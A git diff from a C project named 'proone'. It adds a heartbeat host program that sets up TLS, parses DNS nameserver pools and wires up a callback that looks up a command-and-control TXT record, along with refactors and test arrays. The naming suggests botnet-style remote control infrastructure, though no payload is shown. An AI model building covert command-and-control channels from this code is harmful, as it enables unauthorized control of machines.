+			htbthost_param.pool4.arr[pos] = ep;
+		}
+		else {
+			return false;
+		}
+	}
+	else if (regexec(&re_ns6, arg, 3, rm, 0) == 0) {
+		prne_net_endpoint_t ep;
+		size_t pos;
+
+		pos = rm[1].rm_eo - rm[1].rm_so;
+		memcpy(str, arg + rm[1].rm_so, rm[1].rm_eo - rm[1].rm_so);
+		str[pos] = 0;
+
+		if (rm[2].rm_so >= 0) {
+			if (sscanf(arg + rm[2].rm_so, ":%"SCNu16, &ep.port) != 1) {
+				return false;
+			}
+		}
+		else {
+			ep.port = 853;
+		}
+
+		if (inet_pton(AF_INET6, str, ep.addr.addr)) {
+			ep.addr.ver = PRNE_IPV_6;
+			pos = htbthost_param.pool6.cnt;
+			prne_resolv_alloc_ns_pool(&htbthost_param.pool6, pos + 1);
+			htbthost_param.pool6.arr[pos] = ep;
+		}
+	}
+	else {
+		return false;
+	}
+
+	return true;
+}
+
+
+int main (const int argc, const char **args) {
+	static mbedtls_entropy_context entropy;
+	static mbedtls_ctr_drbg_context rnd;
+	static prne_resolv_t *resolv;
+	static prne_htbt_t *htbt;
+	static prne_worker_t wkr_arr[2];
+	static prne_worker_t *w;
+	static struct {
+		mbedtls_x509_crt ca;
+		struct {
+			mbedtls_x509_crt crt;
+			mbedtls_pk_context key;
+			mbedtls_dhm_context dhm;
+			mbedtls_ssl_config conf;
+		} lbd;
+		struct {
+			mbedtls_ssl_config conf;
+		} cncp;
+	} ssl;
+
+	sigemptyset(&ss_all);
+	sigemptyset(&ss_exit);
+	sigaddset(&ss_all, SIGTERM);
+	sigaddset(&ss_all, SIGINT);
+	sigaddset(&ss_all, SIGPIPE);
+	// sigaddset(&ss_all, SIGCHLD);
+	sigaddset(&ss_exit, SIGTERM);
+	sigaddset(&ss_exit, SIGINT);
+	assert(regcomp(
+		&re_ns4,
+		"^@([0-9\\.]+)(:[0-9]{1,5})?$",
+		REG_ICASE | REG_EXTENDED) == 0);
+	assert(regcomp(
+		&re_ns6,
+		"^@\\[([0-9a-f:]+)\\](:[0-9]{1,5})?$",
+		REG_ICASE | REG_EXTENDED) == 0);
+	prne_assert(sigprocmask(SIG_BLOCK, &ss_all, NULL) == 0);
+	init_htbthost_param(&htbthost_param);
+
+	if (argc < 2) {
+		print_usage(args[0]);
+		return 2;
+	}
+	else {
+		if (sscanf(args[1], "%255s", htbthost_param.txtrec) != 1 ||
+			strlen(htbthost_param.txtrec) == 0)
+		{
+			fprintf(stderr, "Invalid <TXT REC>\n");
+			return 2;
+		}
+		else if (strcmp("--help", args[1]) == 0) {
+			print_usage(args[0]);
+			return 2;
+		}
+
+		for (int i = 2; i < argc; i += 1) {
+			if (strcmp("--help", args[1]) == 0) {
+				print_usage(args[0]);
+				return 2;
+			}
+			else if (!parse_param(args[i])) {
+				fprintf(stderr, "Invalid option \"%s\"\n", args[i]);
+				return 2;
+			}
+		}
+
+		if (!htbthost_param.def_dns &&
+			(htbthost_param.pool4.cnt == 0 || htbthost_param.pool6.cnt == 0)) {
+			fprintf(stderr, "Empty IPv4 or IPv6 nameserver pool.\n");
+			return 2;
+		}
+	}
+
+	mbedtls_debug_set_threshold(1);
+	pth_init();
+
+	proc_start = prne_gettime(CLOCK_MONOTONIC);
+
+	mbedtls_entropy_init(&entropy);
+	mbedtls_ctr_drbg_init(&rnd);
+	prne_assert(mbedtls_ctr_drbg_seed(
+		&rnd,
+		mbedtls_entropy_func,
+		&entropy,
+		NULL,
+		0) == 0);
+
+	mbedtls_x509_crt_init(&ssl.ca);
+	mbedtls_x509_crt_init(&ssl.lbd.crt);
+	mbedtls_pk_init(&ssl.lbd.key);
+	mbedtls_dhm_init(&ssl.lbd.dhm);
+	mbedtls_ssl_config_init(&ssl.lbd.conf);
+	mbedtls_ssl_config_init(&ssl.cncp.conf);
+	load_lbd_ssl_conf(
+		&ssl.lbd.conf,
+		&ssl.ca,
+		&ssl.lbd.crt,
+		&ssl.lbd.key,
+		&ssl.lbd.dhm,
+		&rnd);
+	mbedtls_ssl_conf_authmode(
+		&ssl.lbd.conf,
+		htbthost_param.verify ?
+			MBEDTLS_SSL_VERIFY_REQUIRED : MBEDTLS_SSL_VERIFY_NONE);
+	prne_assert(mbedtls_ssl_config_defaults(
+		&ssl.cncp.conf,
+		MBEDTLS_SSL_IS_CLIENT,
+		MBEDTLS_SSL_TRANSPORT_STREAM,
+		MBEDTLS_SSL_PRESET_DEFAULT) == 0);
+	mbedtls_ssl_conf_rng(&ssl.cncp.conf, mbedtls_ctr_drbg_random, &rnd);
+	mbedtls_ssl_conf_dbg(&ssl.lbd.conf, mbedtls_dbg_f, NULL); // TODO
+
+	mbedtls_ctr_drbg_random(
+		&rnd,
+		instance_id,
+		sizeof(instance_id));
+
+	w = wkr_arr + 0;
+	if (htbthost_param.def_dns) {
+		resolv = prne_alloc_resolv(
+			w,
+			&rnd,
+			PRNE_RESOLV_DEF_IPV4_POOL,
+			PRNE_RESOLV_DEF_IPV6_POOL);
+	}
+	else {
+		resolv = prne_alloc_resolv(
+			w,
+			&rnd,
+			prne_resolv_own_ns_pool(&htbthost_param.pool4, false),
+			prne_resolv_own_ns_pool(&htbthost_param.pool6, false));
+	}
+	w->pth = pth_spawn(PTH_ATTR_DEFAULT, w->entry, w->ctx);
+	prne_assert(resolv != NULL && w->pth != NULL);
+
+	{
+		static prne_htbt_param_t param;
+
+		prne_htbt_init_param(&param);
+		param.lbd_ssl_conf = &ssl.lbd.conf;
+		param.cncp_ssl_conf = &ssl.cncp.conf;
+		param.ctr_drbg = &rnd;
+		param.resolv = resolv;
+		param.cb_f.cnc_txtrec = cb_txtrec;
+		param.cb_f.hostinfo = cb_hostinfo;
+
+		w = wkr_arr + 1;
+		htbt = prne_alloc_htbt(w, param);
+		w->pth = pth_spawn(PTH_ATTR_DEFAULT, w->entry, w->ctx);
+		prne_assert(htbt != NULL && w->pth != NULL);
+
+		prne_htbt_free_param(&param);
+	}
+
+	while (true) {
+		static int caught;
+
+		caught = 0;
+		pth_sigwait(&ss_all, &caught);
+		if (sigismember(&ss_exit, caught)) {
+			sigprocmask(SIG_UNBLOCK, &ss_exit, NULL);
+			break;
+		}
+	}
+
+	for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
+		wkr_arr[i].fin(wkr_arr[i].ctx);
+	}
+	for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
+		pth_join(wkr_arr[i].pth, NULL);
+		wkr_arr[i].free_ctx(wkr_arr[i].ctx);
+	}
+
+	pth_kill();
+	mbedtls_x509_crt_free(&ssl.ca);
+	mbedtls_x509_crt_free(&ssl.lbd.crt);
+	mbedtls_pk_free(&ssl.lbd.key);
+	mbedtls_dhm_free(&ssl.lbd.dhm);
+	mbedtls_ssl_config_free(&ssl.lbd.conf);
+	mbedtls_ssl_config_free(&ssl.cncp.conf);
+	mbedtls_ctr_drbg_free(&rnd);
+	mbedtls_entropy_free(&entropy);
+	free_htbthost_param(&htbthost_param);
+	regfree(&re_ns4);
+	regfree(&re_ns6);
+
+	return 0;
+}
diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c
index fcacadb..c42fb6a 100644
--- a/src/proone-mkdvault.c
+++ b/src/proone-mkdvault.c
@@ -4,6 +4,7 @@
 #include "imap.h"
 #include "resolv.h"
 #include "proone_conf/x509.h"
+#include "proone_conf/config.h"
 
 #include <stdio.h>
 #include <string.h>
diff --git a/src/proone-pack.c b/src/proone-pack.c
index 95c8ab8..4f5fbc1 100644
--- a/src/proone-pack.c
+++ b/src/proone-pack.c
@@ -61,9 +61,9 @@ int main (const int argc, const char **args) {
 	}
 
 	// init
-	memzero(encounter_arr, sizeof(archive_tuple_t*) * NB_PRNE_ARCH);
-	memzero(archive_arr, sizeof(archive_tuple_t) * NB_PRNE_ARCH);
-	memzero(&zs, sizeof(z_stream));
+	prne_memzero(encounter_arr, sizeof(archive_tuple_t*) * NB_PRNE_ARCH);
+	prne_memzero(archive_arr, sizeof(archive_tuple_t) * NB_PRNE_ARCH);
+	prne_memzero(&zs, sizeof(z_stream));
 
 	if ((z_ret = deflateInit(&zs, Z_BEST_COMPRESSION)) != Z_OK) {
 		report_zerror(z_ret, "deflateInit()");
diff --git a/src/proone-resolv b/src/proone-resolv
deleted file mode 100755
index 1d7144a..0000000
Binary files a/src/proone-resolv and /dev/null differ
diff --git a/src/proone-resolv.c b/src/proone-resolv.c
index 73198fe..490f861 100644
--- a/src/proone-resolv.c
+++ b/src/proone-resolv.c
@@ -165,7 +165,9 @@ static void *stdout_wkr_entry (void *ctx) {
 	bool output = false;
 
 	while (main_flag || prm_list.size > 0) {
-		prne_assert(prne_pth_cond_timedwait(&prm_cv, NULL, NULL));
+		pth_mutex_acquire(prm_cv.lock, FALSE, NULL);
+		pth_cond_await(prm_cv.cond, prm_cv.lock, NULL);
+		pth_mutex_release(prm_cv.lock);
 
 		cur = prm_list.head;
 		while (cur != NULL) {
@@ -279,7 +281,7 @@ int main (void) {
 
 	main_flag = false;
 	close(STDIN_FILENO);
-	prne_pth_cv_notify(&prm_cv);
+	prne_pth_cv_notify(prm_cv.lock, prm_cv.cond, true);
 	for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
 		prne_fin_worker(wkr_arr + i);
 	}
diff --git a/src/proone-stress.c b/src/proone-stress.c
index f9fffe0..1b52793 100644
--- a/src/proone-stress.c
+++ b/src/proone-stress.c
@@ -37,7 +37,7 @@ typedef struct {
 
 typedef struct {
 	mbedtls_entropy_context ent;
-	mbedtls_ctr_drbg_context ctx;	
+	mbedtls_ctr_drbg_context ctx;
 } priv_ctx_t;
 
 shared_t *shared = NULL;
@@ -70,7 +70,7 @@ int main (const int argc, const char **args) {
 	size_t shm_size;
 	uint8_t *shm_ptr = MAP_FAILED;
 	bool is_parent = true;
-	
+
 	parent = getpid();
 
 	{
@@ -90,7 +90,7 @@ int main (const int argc, const char **args) {
 
 		assert(pagesize % sizeof(unsigned long) == 0);
 	}
-	
+
 	if (argc < 2) {
 		fprintf(stderr,
 			"Usage: %s <nproc> [page num range]\n"
@@ -137,7 +137,7 @@ DROP:
 	shm_ptr = mmap(NULL, shm_size, PROT_READ | PROT_WRITE, MAP_SHARED, zfd, 0);
 	END_ON_ERR(shm_ptr, MAP_FAILED, "mmap()", false);
 	close(zfd);
-	zfd = -1;	
+	zfd = -1;
 
 	// prep shared
 	shared = (shared_t*)shm_ptr;
@@ -157,7 +157,7 @@ DROP:
 		else if (f_ret == 0) {
 			struct sigaction sa;
 
-			memzero(&sa, sizeof(struct sigaction));
+			prne_memzero(&sa, sizeof(struct sigaction));
 			sa.sa_handler = child_signal_handler;
 			sigaction(SIGINT, &sa, NULL);
 
@@ -174,7 +174,7 @@ DROP:
 	{
 		struct sigaction sa;
 
-		memzero(&sa, sizeof(struct sigaction));
+		prne_memzero(&sa, sizeof(struct sigaction));
 		sa.sa_handler = handle_signal;
 
 		sigaction(SIGINT, &sa, NULL);
@@ -185,7 +185,7 @@ DROP:
 
 	clock_gettime(CLOCK_MONOTONIC, &last_report);
 
-	
+
 	while (shared->good) {
 		pause();
 	}
@@ -226,7 +226,7 @@ static void handle_signal (const int sn) {
 			sendall(SIGTERM);
 		}
 		sigaction(SIGINT, NULL, NULL);
-		sigaction(SIGTERM, NULL, NULL);		
+		sigaction(SIGTERM, NULL, NULL);
 		break;
 	case SIGCHLD:
 		if (shared->good) {
@@ -310,7 +310,7 @@ static void child_main (shared_ctx_t *ctx) {
 	prne_mbedtls_entropy_init(&priv_ctx.ent);
 	mbedtls_ctr_drbg_init(&priv_ctx.ctx);
 	assert(mbedtls_ctr_drbg_seed(&priv_ctx.ctx, mbedtls_entropy_func, &priv_ctx.ent, NULL, 0) == 0);
-	
+
 	while (shared->good) {
 		do_cycle(&priv_ctx, ctx);
 		ctx->nb_cycles += 1;
diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c
index a718d9b..d1fe2fb 100644
--- a/src/proone-test_proto.c
+++ b/src/proone-test_proto.c
@@ -20,7 +20,7 @@ int main (void) {
 	for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) {
 		assert(i == prne_arch_fstr(prne_arch_tostr(i)));
 	}
-	
+
 	test_ser();
 
 	return 0;
@@ -50,32 +50,32 @@ static void test_ser (void) {
 		NULL
 	};
 	static char *long_args[] = {
-		"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", 
+		"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
 		"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL
 	};
 	static char *too_long_args[] = {
-		"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", 
+		"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
 		"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL
 	};
 	static char *long_mem_args[] = {
-		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", 
